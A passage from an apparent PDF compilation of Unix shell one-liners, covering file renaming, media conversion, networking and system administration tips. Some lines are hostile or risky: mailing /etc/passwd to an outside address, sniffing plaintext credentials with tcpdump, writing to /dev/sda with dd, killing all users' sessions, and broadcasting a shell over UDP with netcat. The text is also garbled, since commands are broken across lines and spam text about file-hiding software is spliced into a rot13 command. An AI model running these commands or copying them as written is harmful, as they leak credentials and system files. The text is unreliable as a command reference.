# Extract multiple tar files at once in zsh
tar -xi < *.tar
# zsh suffix to inform you about long command ending
alias -g R=' &; jobs | tail -1 | read A0 A1 A2 cmd; echo "running $cmd"; fg "$cmd"; zenity
--info --text "$cmd done"; unset A0 A1 A2 cmd'
# Cut flv video from minute 19 to minute 20 using flvtool2
flvtool2 -C -i 1140000 -o 1200000 input output
# Hide files in ls, by adding support for .hidden files!
alias ls='if [[ -f .hidden ]]; then while read l; do opts+=(--hide="$l"); done < .hidden;
fi; ls --color=auto "${opts[@]}"'
# print text in color red
printTextInColorRed () { echo -e '\033[01;31m\033[K'"$@"'\033[m\033[K' ;}
text/string in color red

## print

# Replace spaces in filename


for i in *\ *; do if [ -f "$i" ]; then mv "$i" ${i// /_}; fi; done
# Show a Package Version on RPM based distributions
rpm -q --queryformat %{VERSION}\\n pkgname

# Burn an audio CD.


goburncd() { d=/tmp/goburncd_$RANDOM; mkdir $d && for i in *.[Mm][Pp]3; do lame --decode
"$i" "$d/${i%%.*}.wav"; done; sudo cdrecord -pad $d/* && rm -r $d; eject }
# List files with full path
echo $PWD/*
# show each new entry in system messages as a popup
tail -n0 -f /var/log/messages | while read line; do notify-send "System Message" "$line";
done
# convert png into jpg using imagemagick
for img in *.png; do
convert "$img" "$img.jpg" ; done
# Open screen on the previous command
screen !!
# pipe commands from a textfile to a telnet-server with netcat
nc $telnetserver 23 < $commandfile
# Rename all .jpeg and .JPG files to .jpg
rename 's/\.jpeg/\.jpg/' *.jpeg; rename 's/\.JPG/\.jpg/' *.JPG
# Create a simple playlist sort by Genre using mp3info
for file in $(find ~/ -iname "*.mp3");do c=$(mp3info $file|grep Genre|cut -f 3 -d :|cut -f 2
-d " ");if [ -z "$c" ];then c="Uncategorized";fi;if [ ! -e $c ];then touch $c.m3u;fi;echo
"$file">>$c.m3u;done
# Count all files in directories recursively with find
find -maxdepth 3 -type d | while read -r dir; do printf "%s:\t" "$dir"; find "$dir" | wc -l;
done

277 / 658

All UNIX COMMANDS


# Check if a string is into a variable
[[ ${var##*yourstring*} != ${var} ]]
# Find the modified time (mtime) for a file
date -r foo
# For when GUI programs stop responding..
xkill
# Exit shell faster
^D
# Changing the terminal title to the last shell command
if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn
"\e]0;$1\a" };; esac; fi
# Display top 5 processes consuming CPU
ps -eo pcpu,user,pid,cmd | sort -r | head -5
# View the newest xkcd comic.
wget `lynx --dump http://xkcd.com/|grep png`
# happened to
trial version
anyone except
tr '[A-Za-z]'

find this not bad software to keep my files and folders safe! Even the free
has the fantastic functions to protect any private files from being seen by
me. With it I can encrypt, hide or lock anything I want, amazin
'[N-ZA-Mn-za-m]'

# Download all videos in your Boxee queue


for i in $(curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep
/boxeefeed/message/object/url | cut -d "=" -f 2,3); do get_flash_videos $i; done
# Kill google chrome process
pkill -9 -x chrome
# Get the IP address of a machine. Just the IP, no junk.
ip -o -4 addr show | awk -F '[ /]+' '/global/ {print $4}'
# Convert a mp3 file to m4a
mplayer -vo null -vc null -ao pcm:fast:file=file.wav file.mp3; faac -b 128 -c 44100 -w
file.wav
# Skip to next selection in playlist
killall -2 mpg321
# continuously print string as if being entered from the keyboard
cycle(){ while :;do((i++));echo -n "${3:$(($i%${#3})):1}";sleep .$(($RANDOM%$2+$1));done;}
# Syntax highlight PHP source
php -s source.php > source.html
# File rotation without rename command
for i in {6..1} ; do for f in *.$i.gz ; do mv "$f" "${f/.$i.gz}".$((i+1)).gz 2> /dev/null ;
done; done

# Syntax Highlight your Perl code


perl -mText::Highlight -E 'say Text::Highlight->new(ansi => 1)->highlight(Perl => do { local
(@ARGV,$/) = shift; <> }) ' path/to/perl-file.pl

278 / 658

All UNIX COMMANDS


# Show total size of each subdirectory, broken down by KB,MB,GB,TB
du --max-depth=1 | sort -nr | awk ' BEGIN { split("KB,MB,GB,TB", Units, ","); } { u = 1;
while ($1 >= 1024) { $1 = $1 / 1024; u += 1 } $1 = sprintf("%.1f %s", $1, Units[u]); print
$0; } '
# Append last argument to last command
<Alt+.>
# Increment the filename of png in a given directory by one
for i in `ls -r *.png`; do mv $i `printf "%03d.png" $(( 10#${i%.png}+1 ))`; done
# Send multiple attachments using mailx
(uuencode foo.txt foo.txt; uuencode /etc/passwd passwd.txt)|mailx -s "Pandaren!"
someone@cmdfu.com
# Output files without comments or empty lines
function catv { egrep -v "^$|^#" ${*} ; }
# Benchmark report generator
hardinfo -am benchmark.so -f html > report.html
# Turning on and off Internet radio
radio() { if [ "$(pidof mpg123)" ] ; then killall mpg123; else mpg123 -q -@
http://173.236.29.51:8200 & fi }
# Run netcat to server files of current folder
Server side: while true; do tar cvzf - ./* | nc -l 2000; done, client side: nc localhost
2000 | tar xvzf # cycle through everything sox knows how to read, playing only the first three seconds
for x in 8svx aif aifc aiff aiffc ... wv wve xa xi ; do echo $x ; play -q -t $x soundfile
trim 0 3 ; done
# Remove a line from a file using sed (useful for updating known SSH server keys when they
change)
vi +<lineNumber>d +wq <filename>
# Format partition with ext4 but without a journal
mke2fs -t ext4 -O ^has_journal /dev/sdXN
# ZSH prompt. ':)' after program execution with no error, ':(' after failure.
PROMPT=$'%{\e[0;32m%}%B[%b%{\e[0m%}%n%{\e[0;32m%}@%{\e[0m%}%(4c,./%1~,%~)%{\e[0;32m%}%B]%b%
%(?,%{\e[0;32m%}:%)%{\e[0m%},%{\e[0;31m%}:(%{\e[0m%}) %# '
# Get your external IP address if your machine has a DNS entry
host $HOSTNAME|cut -d' ' -f4
# Command to logout all the users in one command
skill -KILL -v /dev/pts/*
# count of down available ips
nmap -v -sP 192.168.10.0/24 | grep down | wc -l
# parrallel execution of a command on remote hosts by ssh or rsh or ...
pdsh -R ssh -w se00[1-5] # a list of host names
# Easy way to scroll up und down to change to one of <i>n</i> last visited directories.
alias cdd="history -a && grep '^ *[0-9]* *cd ' ~/.bash_history| tail -10 >>~/.bash_history
&& history -r ~/.bash_history"

279 / 658

All UNIX COMMANDS


# Find file containing namespace in a directory of jar files.
for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done
# test moduli file generated for openssh
ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates
# List the CPU model name
grep 'model\|MHz' /proc/cpuinfo

|tail -n 2

# Backup a file with a date-time stamp


buf () { filename=$1; filetime=$(date +%Y%m%d_%H%M%S); cp ${filename} ${filename}_$
{filetime}; }
# Copy files for backup storage
cp -auv /SorceDirectory/ /ParentDestination/
# extracts 64 bytes of random digits from random lines out of /dev/random sent to stdio
cat /dev/urandom|od -t x1|awk 'NR > line { pos=int(rand()*15)+2;printf("%s",$pos);line=NR+
(rand()*1000);digits = digits+2 } digits == 64 { print("\n");exit }'
# Multi-segment file downloading with lftp
lftp -u user,pass ftp://site.com -e 'pget -c -n 6 file'

# Check if variable is a number


if [[ "$1" =~ ^[0-9]+$ ]]; then echo "Is a number"; fi
# dd if=/dev/null of=/dev/sda
dd if=/dev/null of=/dev/sda
# Produce a pseudo random password with given length in base 64
perl -MDigest::SHA -e 'print substr( Digest::SHA::sha256_base64( time() ), 0, $ARGV[0] ) .
"\n"' <length>
# Clear ARP table in linux.
for arptable in `arp | grep "eth1" | cut -d " " -f1`; do arp -d $arptable; done
# Colorized JSON pretty printing
alias pp='python -mjson.tool | pygmentize -l javascript'
# Display unique values of a column
cut -d',' -f6 file.csv | sort | uniq
# Download latest NVIDIA Geforce x64 Windows driver
wget "us.download.nvidia.com$(wget -qO- "$(wget -qO- "nvidia.com/Download/processFind.aspx?
psid=95&pfid=695&osid=19&lid=1&lang=en-us"|awk '/driverResults.aspx/ {print $4}'|cut -d "'"
-f2|head -n 1)"|awk '/url=/ {print $2}'|cut -d '=' -f3|cut -d '&' -f1)"
# Remove multiple same rpm packages
rpm -e --allmatches filename.rpm
# Change user within ssh session retaining the current MIT cookie for X-forwarding
su username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list | grep -o
'[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash"
# Unzip multi-part zip archive
zip -F archive.zip --output big_archive.zip && unzip big_archive.zip
# count of down available ips

280 / 658

All UNIX COMMANDS


nmap -v -sP 192.168.10.0/24 | grep -c down
# Remove a range of lines from a file
vi +{<end>..<start>}d +wq <filename>
# Create a file of repeated, non-zero
dd if=/dev/zero bs=64K count=1 | tr "\0" "\377" > all_ones
# (DEBIAN-BASED DISTROS) Find total installed size of packages given a search term
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | grep "\-dev" | sort -n | awk '{ sum+=$1}
END {print sum/1024 "MB"}'
# Check SSH public and private keys matching
diff <(ssh-keygen -y -f ~/.ssh/id_rsa) <(cut -d' ' -f1,2 ~/.ssh/id_rsa.pub)
# put command in a loop to keep trying a connection
while true; do nc <ip address of server> <port>;done
# list process ids for given program
pidof httpd
# Mount an smb share on linux
mount -t smbfs //$server/share /local/mount -o rw,username=$USER
# Add a line from 1 file after every line of another (shuffle files together)
sed '/^/R addfile' targetfile > savefile
# Remove newlines from output
awk /./ filename
# Ultimate current directory usage command
find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk
'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs
# List open TCP/UDP ports
lsof -i tcp -i udp
# Go up multiple levels of directories quickly and easily.
alias ..="cd .." ...="cd ../.." ....="cd ../../.."
# tar directory and compress it with showing progress and Disk IO limits
tar pcf - home | pv -s $(du -sb home | awk '{print $1}') --rate-limit 500k | gzip >
/mnt/c/home.tar.gz
# Open a file with specified application.
open -a BBEdit file.sql

# floating point operations in shell scripts


wcalc -q <<< '3/5'
# Look up a unicode character by name
grep -i "$*" /usr/lib/perl5/Unicode/CharName.pm | while read a b; do /usr/bin/printf
"\u$a\tU+%s\t%s\n" "$b"; done
# take a screenshot of a webpage
sudo xvfb-run --server-args="-screen 0, 1024x768x24" ./webkit2png.py -o google.png
http://www.google.com

281 / 658

All UNIX COMMANDS


# List the size (in human readable form) of all sub folders from the current location
du -hs *|sort -h
# Using Git, stage all manually deleted files.
for x in `git status | grep deleted | awk '{print $3}'`; do git rm $x; done
# An alarm clock using xmms2 and at
echo "xmms2 play" | at 6:00
# calculate the total size of files in specified directory (in Megabytes)
find directory -maxdepth 1 -type f | xargs ls -l | awk 'BEGIN { SUM=0} { SUM+=$5 } END
{ print SUM/2^20 }'
# Get your IP addresses
{ if (/^[A-Za-z0-9]/) { interface=$1; next } else { if (/inet [Aa][d]*r/) { split($2,ip,":")
} else { next } } print interface"\t: "ip[2] }
# Counting the source code's line numbers C/C++ Java
find /usr/include/ -name '*.[c|h]pp' -o -name '*.[ch]' -print0 | xargs -0 cat | grep -v "^
*$" | grep -v "^ *//" | grep -v "^ */\*.*\*/" | wc -l
# Merge some PDF files into a single one
pdfunite 1.pdf 2.pdf 3.pdf result.pdf
# diff the same file in two directories.
diff {$path1,$path2}/file_to_diff
# Remove a range of lines from a file
vi +START,ENDd +wq sample.txt
# Backup a file with a date-time stamp
buf () { oldname=$1; if [ "$oldname" != "" ]; then datepart="$(date +%Y-%m-%d).bak";
firstpart=`echo $oldname | cut -d "." -f 1`; newname=`echo $oldname | sed s/$firstpart/
$firstpart.$datepart/`; cp -iv ${oldname} ${newname}; fi }
# A simple way to securely use passwords on the command line or in scripts
wget --input-file=~/donwloads.txt --user="$USER" --password="$(gpg2 --decrypt
~/.gnupg/passwd/http-auth.gpg 2>/dev/null)"
# Filter IP's in apache access logs based on use
cat /var/log/apache2/access_logs | cut -d ' ' -f 1 | uniq -c | sort -n
# Remove embedded fonts from a pdf.
gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > NoFonts.pdf
# Solaris get PID socket
pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc
$0}'
# Quick and Temporary Named Commands
svn up -r PREV # revert
# Reducing image size
convert example.png -resize 100x100! output.png
# Run a command for blocks of output of another command
tail -f /var/log/messages | while read line; do accu="$line"; while read -t 1 more; do
accu=`echo -e "$accu\n$more"`; done; notify-send "Syslog" "$accu"; done

282 / 658

All UNIX COMMANDS


# Mute speakers after an hour
sleep 3600; amixer set Master mute
# Plaintext credentials sniffing with tcpdump and grep
tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i
'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|
password:|login:|pass |user ' --color=auto --line-buffered -B20
# Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | tr '\n' '\0' | xargs -0 svn blame | awk '{print $2}' | sort
| uniq -c | sort -nr
# tcpdump whole packets to file in ascii and hex with ip adresses instead of hostname
tcpdump host <IP> -nXXv -s0 -w file.pcap
# Test how well a web server handles concurrent connections and big load.
ab -n 1000 -c 100 http://127.0.0.1:8000/

# Find public IP when behind a random router (also see description)


alias pubip='GET http://www.whatismyip.com/automation/n09230945.asp && echo'
# Copy data using gtar
gtar cpf - . | (cd /dest/directory; gtar xpf -)
# Rename duplicates from MusicBrainz Picard
for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done
# statistics in one line
perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat>add_data(@F[1..4]); print $stat->variance' filename
# find an unused unprivileged TCP port
netstat -atn | perl -0777 -ne '@ports = /tcp.*?\:(\d+)\s+/imsg ; for $port (32768..61000)
{if(!grep(/^$port$/, @ports)) { print $port; last } }'
# Kill a process by its partial name
pkill name
# One liner to parse all epubs in a directory and use the calibre ebook-convert utility to
convert them to mobi format
for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --preferauthor-sort --output-profile=kindle --linearize-tables --smarten-punctuation --extracss="/yourdir/calibre.css" --asciiize --enable-heuristics;done
# Find out which process uses an old lib and needs a restart after a system update
lsof | grep 'DEL.*lib' | sort -k1,1 -u
# Cut the first 'N' characters of a line
cut -c 1-N
# Stop and continue processing on a terminal
CTRL+s
# recursive search and replace old with new string, inside files
replace old new -- `find -type f`
# Wich program is listen on port OSX
sudo lsof -i -n -P | grep TCP

283 / 658

All UNIX COMMANDS


# tunnel vnc port
ssh -L 5900:localhost:5900 user@exampleserver.com
# Get your external IP address if your machine has a DNS entry
curl www.whatismyip.com/automation/n09230945.asp
# List only locally modified files with CVS
cvs -n update 2>null | grep -i "M " | sed s/"M "//
# calculate the total size of files in specified directory (in Megabytes)
du -sm $dirname
# Debug your makefile
make -d | egrep --color -i '(considering|older|newer|remake)'
# Function to change prompt
prompt (){ if [ "$1" = "on" ]; then . ~/.bash_profile; else if [ "$1" = "off" ];then PS1="$
";fi;fi; }
# about how using internal separate field and store file content on variable
OIFS=$IFS;IFS=$':';for i in $(cat -n /etc/passwd);do echo -n $i\ ** \ ;done
# count match string lines from file(s)
grep -in "search_string" /to/your/path
# Count the words in any OpenOffice document (including Impress presentations)
unzip -p doc.odt content.xml | sed 's|<[^>]*>| |g' | wc -l
# search for a file in PATH
which <filename>
# Print a list of the 30 last modified mp3s sorted by last first
find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 |
cut -f 2
# monitor your CPU core temperatures in real time
while :; do sensors|grep ^Core|while read x; do printf '% .23s\n' "$x"; done; sleep 1 &&
clear; done;
# Watch active calls on an Asterisk PBX
asterisk -rx "core show calls" | grep "active" | cut -d' ' -f1

# Number of .... indicate how far down to cd


for i in {1..6};do c=;d=;for u in `eval echo {1..$i}`;do c="$c../";d="$d..";eval "$d(){ cd
$c;}"; eval "$d.(){ cd $c;}";done;done
# FLV to AVI with subtitles and forcing audio sync using mencoder
mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=128 -ovc lavc
-lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv
# Find files changed between dates defined by ctime of two files specified by name
find . -cnewer <file a> -and ! -cnewer <file b>
# Mapreduce style processing
parallel -j 50 ssh {} "ls" ::: host1 host2 hostn | sort | uniq -c
# Convert from a decimal number to a binary number

284 / 658

All UNIX COMMANDS


echo 'ibase=10; obase=2; 127' | bc
# Make the Mac OS X Dock 2D once more (10.5 and above only)
defaults write com.apple.Dock no-glass -boolean YES; killall Dock
# find only current directory (universal)
find . \( ! -name . -prune \) \( -type f -o -type l \)
# print contents of file from first match of regex to end of file
sed -n '/regex/,$p' filename
# print first n characters of any file in human readble form using hexdump
hexdump -C -n 20 filename
# Congratulations on new year
php -r 'function a(){$i=10;while($i--)echo str_repeat(" ",rand(1,79))."*".PHP_EOL;}
$i=99;while($i--){a();echo str_repeat(" ",34)."Happy New Year
2011".PHP_EOL;a();usleep(200000);}'
# Stream your desktop to a remote machine.
vlc screen:// :screen-fps=30 :screen-caching=100 --sout
'#transcode{vcodec=mp4v,vb=4096,acodec=mpga,ab=256,scale=1,width=1280,height=800}:rtp{dst=19
2.168.1.2,port=1234,access=udp,mux=ts}'
# Jump to a directory, execute a command and jump back to current dir
cd /path/to/dir && command_or_script; cd -;
# Lurk what's going on on remote console
a=$(stty -a -F /dev/tty1| awk -F'[ ;]' '/columns/ { print $9 }'); fold -w$a /dev/vcs1;echo
# Erase CD RW
wodim -v dev=/dev/dvd -blank=fast
# Create a random file of a specific size
dd if=/dev/zero of=testfile.txt bs=1M count=10
# A command to copy mysql tables from a remote host to current host via ssh.
ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1
tbl_name_2 tbl_name_3 | gzip -c -' | gzip -dc - | mysql -u <localusername>
-p<localdbpassword> <localdbname>
# create a colorful &#30000; image
convert -size 32x32 \( xc:red xc:green +append \) \( xc:yellow xc:blue +append \) -append
output.png
# google chart api
wget -O chart.png 'http://chart.googleapis.com/chart?
chs=250x100&chd=t:60,40&cht=p3&chl=Hello|World'
# Look at your data as a greymap image.
x=1024; y=32768; cat <(echo -e "P5\n$x $y\n255\n") <(dd if=/dev/sda1 bs=$x count=$y) >
sda1.pgm
# script broadcast-pppoe-discover
nmap -T4 --script broadcast-pppoe-discover 192.168.122.0/24
# Get IP address from domain
nslookup www.example.com | tail -2 | head -1 | awk '{print $2}'
# Pretty print SQL query with python in one line

285 / 658

All UNIX COMMANDS


echo "select a, b, c from table where a = 3;"| python -c "import sys;import sqlparse;print
sqlparse.format(sys.stdin.read(), reindent=True, keyword_case='upper')"
# Erase DVD RW
dvd+rw-format /dev/dvd
# Convert every eps in a directory to pdf
for f in *.eps;do ps2pdf -dEPSCrop $f `basename $f .eps`.pdf; done
# Get ethX mac addresses
ip link | grep 'link/ether' | awk '{print $2}'

# Add line number count as C-style comments


awk '{printf("/* %02d */ %s\n", NR,$0)}' inputfile > outputfile
# Populate a folder with symbolic links to files listed in an m3u playlist.
(IFS=$'\n'; ln -sf $(awk '((NR % 2) != 0 && NR > 1) {print "prefix" $0}' list.m3u)
target_folder)
# switch case of a text file
python3 -c 'import sys; print(sys.stdin.read().swapcase(), end="")' <input.txt
# List just the executable files (or directories) in current directory
ls -dF `find . -maxdepth 1 \( -perm -1 -o \( -perm -10 -o -perm -100 \) \) -print`
# get newest jpg picture in a folder
cp `ls -x1tr *.jpg | tail -n 1` newest.jpg
# view certificate details
openssl x509 -in filename.crt -noout -text
# aptbackup restore
for p in `grep -v deinstall /var/mobile/Library/Preferences/aptbackup_dpkg-packages.txt |
cut --fields=1`; do apt-get -y --force-yes install $p; done
# Generate an XKCD #936 style 4 word password
echo $(grep "^[^']\{3,5\}$" /usr/share/dict/words|shuf -n4)
# Cut the first 'N' characters of a line
cut -c -N
# Recompress all files in current directory from gzip to bzip2
find . -type f -name "*.gz" | while read line ; do gunzip --to-stdout "$line" | bzip2 > "$
(echo $line | sed 's/gz$/bz2/g')" ; done
# Execute a file in vim with the #!/bin/interpreter in the first line
:exe getline(1)[1:] @%
# Test I/O performance by timing the writing of 100Mb to disk
time dd if=/dev/zero of=dummy_file bs=512k count=200
# find large files
ls -s | sort -nr | more
# Show CPU usage for EACH cores
ps ax -L -o pid,tid,psr,pcpu,args | sort -nr -k4| head -15 | cut -c 1-90
# Compute the numeric sum of a file

286 / 658

All UNIX COMMANDS


sed i"+" file.txt | xargs echo 0 |bc
# Removing images by size
for arq in *.png; do size=$(identify $arq | cut -f3 -d" "); [ $size == "280x190" ] || rm
$arq ; done
# Check if a remote port is up using dnstools.com (i.e. from behind a firewall/proxy)
cpo(){ [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q
"http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -ic
"Connected successfully to port $2"` -gt 0 ]] && return 0 || return 1; }
# Display total Kb/Mb/Gb of a folder and each file
du -hc *
# Create a git alias that will pull and fast-forward the current branch if there are no
conflicts
git config --global --add alias.ff "pull --no-commit -v" ; git ff
# Get information about libraries currently installed on a system.
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'|egrep 'compat|glibc|gcc|libst|binu'|
sort
# Listen to a file
while true; do cat /usr/src/linux/kernel/signal.c > /dev/dsp; done
# ignore hidden directory in bash completion (e.g.
Add to ~/.inputrc: set match-hidden-files off

.svn)

# remove OSX resource forks ._ files


dot_clean
# Colored status of running services
services() { printf "$(service --status-all 2>&1|sed -e 's/\[ + \]/\\E\[42m\[ + \]\\E\[0m/g'
-e 's/\[ - \]/\\E\[41m\[ - \]\\E\[0m/g' -e 's/\[ ? \]/\\E\[43m\[ ? \]\\E\[0m/g')\n";}
# Remove any RPMs matching a pattern
sudo rpm -e `rpm -qa | grep keyword`

# easily strace all your apache processes


ps auxw | grep sbin/apache | awk '{print"-p " $2}' | xargs strace -f
# AES file encryption with openssl
openssl aes-256-cbc -salt -in secrets.txt -out secrets.txt.enc
# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<=(COLUMNS +
w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $str; done; }
# Show the 1000*1000 and 1024*1024 size of HDs on system
awk '/d[a-z]+$/{print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} | grep 'device
size with M'
# get header and footer of file for use with scalpel file carving
xxd -l 0x04 $file; xxd -s -0x04 $file
# Ease your directory exploration
tt(){tree -pFCfa . | grep "$1" | less -RgIKNs -P "H >>> "}

287 / 658

All UNIX COMMANDS


# add all files not under version control to repository
svn st | awk ' {if ( $1 == "?" ){print $1="",$0}} ' | sed -e 's/^[ \t]*//' | sed 's/ /\\ /g'
| xargs svn add
# Broadcast your shell thru UDP on port 5000
script -qf >(nc -ub 192.168.1.255 5000)
# Change gnome-shell wallpaper
gsettings set org.gnome.desktop.background picture-uri 'file://<path-to-image>'
# Remove all zero size files from current directory (not recursive)
rm *(L0)
# Delete leading whitespace from the start of each line
sed 's/^[ \t]*//' input.txt
# Rescan partitions on a SCSI device
echo "w" | fdisk /dev/sdb
# Search google and show only urls
gg(){ lynx -dump http://www.google.com/search?q=$@ | sed '/[09]*\..http:\/\/www.google.com\/search?q=related:/!d;s/...[09]*\..http:\/\/www.google.com\/search?q=related://;s/&hl=//';}
# Check if you work on a virtual/physical machine in Linux
sudo dmidecode | grep Product
# generate 30 x 30 matrix
xxd -p /dev/urandom |fold -60|head -30|sed 's/\(..\)/\1 /g'
# Audible warning when a downloading is finished
while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3
# Find default gateway
netstat -rn | grep UG | tr -s " " | cut -d" " -f2
# most changed files in domains by rdiff-backup output
cat /backup/hd7/rdiff-log.txt |grep Processing | awk '{ print $4 }' | sed -e 's/\// /g' |
awk '{ print $1 }' |uniq -c |sort -n
# Transfers clipboard content from one OS X machine to another
pbpaste | ssh user@hostname pbcopy
# Perpetual calendar
date --date="90 days ago"
# Mount windows share to the specified location including credentials
mount.cifs //10.0.0.1/d/share /mnt/winshare/ -o username=administrator,password=password
# MPD + Digitally Imported
wget -q -O - http://listen.di.fm/public2 | sed 's/},{/\n/g' | perl -n -e
'/"key":"([^"]*)".*"playlist":"([^"]*)"/; print "$1\n"; system("wget -q -O - $2 | grep -E
'^File' | cut -d= -f2 > di_$1.m3u")'
# Resets a terminal that has been messed up by binary input
reset
# Top ten (or whatever) memory utilizing processes (with children aggregate) - Can be done
without the multi-dimensional array

288 / 658

All UNIX COMMANDS


ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list)
{ printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10
# Download last file from index of
NAME=`wget --quiet URL -O - | grep util-vserver | tail -n 1 | sed 's|</a>.*||;s/.*>//'`;
wget URL$UTILVSERVER;

# Join the content of a bash array with commas


printf -- " -e %s" ${ARRAY[*]}
# Delete newline
tr -d "\n" < file1 > file2
# which procs have $PATH_REGEX open?
find /proc -regex '/proc/[0-9]+/smaps' -exec grep -l "$PATH_REGEX" {} \; | cut -d'/' -f2
# Picture Renamer
exiv2 rename *.jpg
# Build an exhaustive list of maildir folders for mutt
find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs
# Tells you where a command is in your $PATH, but also wether it's a link and to what.
ls -l `which foo`
# Bash: escape '-' character in filename
mv ./-filename filename
# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -q -c 1 www.google.com|tail -1|cut -d/ -f5
# Calculate sum of N numbers (Thanks to flatcap)
seq 100000 | paste -sd+ | bc
# Find the package a command belongs to on debian-based distros
whichpkg () { dpkg -S $1 | egrep -w $(readlink -f "$(which $1)")$; }
# Clear the terminal screen
clear
# Stream system sounds over rtmp
sox -d -p | ffmpeg -i pipe:0 -f flv -preset ultrafast -tune zerolatency
rtmp://localhost/live/livestream
# Add GPG key easy - oneliner
x=KEY; gpg --keyserver subkeys.pgp.net --recv $x; gpg --export --armor $x | sudo apt-key add
# Make ls output better visible on dark terminals in bash
unalias ls
# list all crontabs for users
cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l
# Override and update your locally modified files through cvs..
cvs update -C
# Check variable has been set

289 / 658

All UNIX COMMANDS


[ -z "$VAR" ] && echo "VAR has not been set" && exit 1
# ptree equivalent in HP-UX
UNIX95=1 ps -eHf
# Sort a character string
echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //'
# Short one line while loop that outputs parameterized content from one file to another
while read l; do echo ${l%% *}; done < three-column-list.txt > only-first-column.txt
# Check a server is up. If it isn't mail me.
nc -zw2 www.example.com 80 || echo http service is down | mail -s 'http is down'
admin@example.com
# Calculate N!
seq 10 | paste -sd* | bc
# Generate a quick, lengthy password
head /dev/urandom | md5sum | base64
# Serial console to a Vmware VM
socat unix-connect:/tmp/socket stdio,echo=0,raw
# Create a random password encrypted with md5 with custom lenght
echo -n $mypass | md5sum | awk {'print $1'}

# Validating a file with checksum


echo 'c84fa6b830e38ee8a551df61172d53d7

myfile' | md5sum -c

# Delete leading whitespace from the start of each line


sed 's/^\s*//' input.txt
# copy root to new device
mount /dev/root /mnt/root; rsync -avHX /mnt/root/ /mnt/target/
# Get IP address from domain
dig +short google.com
# Search for in which package the specified file is included.
/bin/rpm -qf /etc/passwd /etc/issue /etc/httpd/conf/httpd.conf
# Checks the syntax of all PHP files in and below the current working directory
find . -name "*.php" -exec php -l {} \; | sed -e "/^No syntax/d"
# Copy a file and force owner/group/mode
install -o user -g group -m 755 /path/to/file /path/to/dir/
# find large files
find . -type f -size +1100000k |xargs -I% du -sh %
# find the delete file ,which is in use
lsof -n |grep delete
# Fake system time before running a command
datefudge "2012-12-01 12:00" date
# leave a stale ssh session

290 / 658

All UNIX COMMANDS


<ENTER>~.
# Show local/public IP adresses with or without interface argument using a shell function
for Linux and MacOsX
MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.)
{3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }
# Use Dell Service Tag $1 to Find Machine Model [Model Name and Model Number]
curl -s $dellurl$1 | tr "\"" "\n" | grep "</td></tr><tr><td class=" -m 2 | grep -v "Service
Tag" | sed 's/>//g' | sed 's/<\/td<\/tr<tr<td class=//g'
# dd with progress bar and statistics
dd if=FILE | pv -s $(stat FILE | egrep -o "Size: [[:digit:]]*" | egrep -o "[[:digit:]]*") |
dd of=OUTPUT
# convert uppercase filenames in current directory to lowercase
for x in *;do mv "$x" "`echo $x|tr [A-Z] [a-z]`";done
# drill holes on image
convert -size 20x20 xc:white -fill black -draw "circle 10,10 14,14" miff:- | composite -tile
- input.png -compose over miff:- | composite - input.png -compose copyopacity output.png
# Show git branches by date - useful for showing active branches
for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue
%cr%Creset" "$k" --`\\t"$k";done|sort
# Filter IP's in apache access logs based on use
cat /var/log/apache2/access_logs | cut -d' ' -f1 | sort | uniq -c | sort -n
# List all duplicate directories
find . -type d| while read i; do echo $(ls -1 "$i"|wc -m) $(du -s "$i"); done|sort -s -n
-k1,1 -k2,2 |awk -F'[ \t]+' '{ idx=$1$2; if (array[idx] == 1) {print} else if (array[idx])
{print array[idx]; print; array[idx]=1} else {array[idx]=$0}}'
# Show one line summaries of all DEB packages installed on Ubuntu based on pattern search
dpkg --list '*linux*' | grep '^ii'
# Scan a gz file for non-printable characters and display each line number and line that
contains them.
